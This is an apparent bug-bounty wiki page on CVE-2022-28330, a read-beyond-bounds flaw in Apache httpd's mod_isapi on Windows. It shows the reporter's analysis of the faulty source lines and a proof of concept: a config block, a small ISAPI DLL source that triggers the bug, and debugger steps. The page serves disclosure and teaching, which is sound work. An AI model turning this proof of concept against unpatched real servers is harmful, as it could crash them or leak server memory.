Read beyond bounds in mod_isapi.c [zhbug_httpd_41]
A logic error in mod_isapi.c uses the length of the ISAPI DLL's filesystem path to index into a string supplied by the DLL, causing a read beyond the string's bounds. An attacker could potentially receive out-of-bounds data or cause a crash, but only if the site uses an ISAPI extension DLL.
- Fixed in 15 hours
- Paid in 14 hours
- Disclosed after 31 days
Summary by the program
low: read beyond bounds in mod_isapi (CVE-2022-28330)
Apache HTTP Server 2.4.53 and earlier on Windows may read beyond bounds when configured to process requests with the mod_isapi module.
Acknowledgements: The Apache HTTP Server project would like to thank Ronald Crane (Zippenhop LLC) for reporting this issue
Update 2.4.54 released 2022-06-08 Affects <=2.4.53
Security Advisory: https://httpd.apache.org/security/vulnerabilities_24.html
The report
Greetings. I have found a read-beyond-bounds bug in httpd that arises from an apparent logic error.
The bug is in /modules/arch/win32/mod_isapi.c, on lines 979 and/or 983, which use the length of the path to the ISAPI DLL (|strlen(r->filename)|) to index into the string specified by the ISAPI DLL itself in its call to ServerSupportFunction/HSE_REQ_MAP_URL_TO_PATH, which contains unrelated data. This error presumably can be exploited under appropriate conditions.
This bug is still present in trunk.
Relevant code:
966: case HSE_REQ_MAP_URL_TO_PATH:
967: {
968: /* Map a URL to a filename */
969: char *file = (char *)buf_data;
970: apr_uint32_t len;
971: subreq = ap_sub_req_lookup_uri(
972: apr_pstrndup(cid->r->pool, file, *buf_size), r, NULL);
973:
974: if (!subreq->filename) {
975: ap_destroy_sub_req(subreq);
976: return 0;
977: }
978:
979: len = (apr_uint32_t)strlen(r->filename);
980:
981: if ((subreq->finfo.filetype == APR_DIR)
982: && (!subreq->path_info)
983: && (file[len - 1] != '/'))
984: file = apr_pstrcat(cid->r->pool, subreq->filename, "/", NULL);
985: else
986: file = apr_pstrcat(cid->r->pool, subreq->filename,
987: subreq->path_info, NULL);
988:
989: ap_destroy_sub_req(subreq);
990:
991: #ifdef WIN32
992: /* We need to make this a real Windows path name */
993: apr_filepath_merge(&file, "", file, APR_FILEPATH_NATIVE, r->pool);
994: #endif
995:
996: *buf_size = apr_cpystrn(buf_data, file, *buf_size) - buf_data;
997:
998: return 1;
999: }
Attached is a POC that demonstrates the bug. To use it:
- Add the specified lines to httpd.conf.
- Build dllmain.cpp and foo.def into foo.dll.
- Create the folder /bug41 in the webserver root.
- Copy foo.dll into /bug41 .
- Run httpd and attach a debugger to it.
- Set a BP on line 969, above.
- Open a browser (or CURL) and attempt to load the URL <server>/bug41/foo.dll .
- When the BP fires, step through line 979.
- Notice that |r->filename| is something like "g:/serverroot/bug41/foo.dll" (the filesystem path to the ISAPI DLL) and that |len| is its length.
- Notice that |file| points to a 0 byte string (string length 0), which is what HttpExtensionProc() in foo.dll sent in its call to ServerSupportFunction/HSE_REQ_MAP_URL_TO_PATH (dllmain.cpp line 30).
- Step once more and notice that line 983 reads one byte from |len-1| bytes beyond the end of |file|.
-------- httpd.conf lines ----------------------------------------------------
<Location /bug41>
AddHandler isapi-handler .dll
Options ExecCGI
Allow from all
</Location>
-------- httpd.conf lines ----------------------------------------------------
-------- dllmain.cpp ----------------------------------------------------
#include <windows.h>
#include <HttpExt.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
BOOL WINAPI GetExtensionVersion(HSE_VERSION_INFO * pVI) {
return TRUE;
}
DWORD WINAPI HttpExtensionProc(EXTENSION_CONTROL_BLOCK* pECB) {
char buf[] = "";
DWORD bufSize = sizeof(buf);
pECB->ServerSupportFunction(
pECB->ConnID, HSE_REQ_MAP_URL_TO_PATH, buf, &bufSize, NULL);
return HSE_STATUS_SUCCESS;
}
-------- dllmain.cpp ----------------------------------------------------
-------- foo.def ----------------------------------------------------
LIBRARY foo
EXPORTS
DllMain
GetExtensionVersion
HttpExtensionProc
-------- foo.def ----------------------------------------------------
Impact
Beyond bounds data might be returned to an ISAPI extension DLL. This could potentially be returned to an attacker, but, in mitigation, the path is indirect. The bug could also cause a crash. The bug can be reached only if the victim site uses an ISAPI extension DLL.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The code uses strlen(r->filename) (the length of the ISAPI DLL's path) to index into the buffer supplied by the DLL, which may be shorter, instead of using the length of that buffer.
Impact
Beyond-bounds data might be returned to an ISAPI extension DLL and potentially to an attacker, though the path is indirect; the bug could also cause a crash, and it can be reached only if the victim site uses an ISAPI extension DLL.
What the attacker needed
Windows host running Apache httpd; mod_isapi enabled; site uses an ISAPI extension DLL
How it was found
- Add the specified Location block to httpd.conf.
- Build dllmain.cpp and foo.def into foo.dll.
- Create the folder /bug41 in the webserver root and copy foo.dll into it.
- Run httpd and attach a debugger, setting a breakpoint on line 969.
- Request the URL <server>/bug41/foo.dll and step through line 979.
- Observe that line 983 reads one byte beyond the end of the empty string supplied by the DLL.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This is a bug in a web server module that lets a program (an ISAPI DLL) ask the server to map a URL to a file path. The server mistakenly uses the length of the DLL's own file path to look at a character in a different, shorter string, reading past its end. That can leak memory contents or crash the server, but only on Windows sites that use such DLLs.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.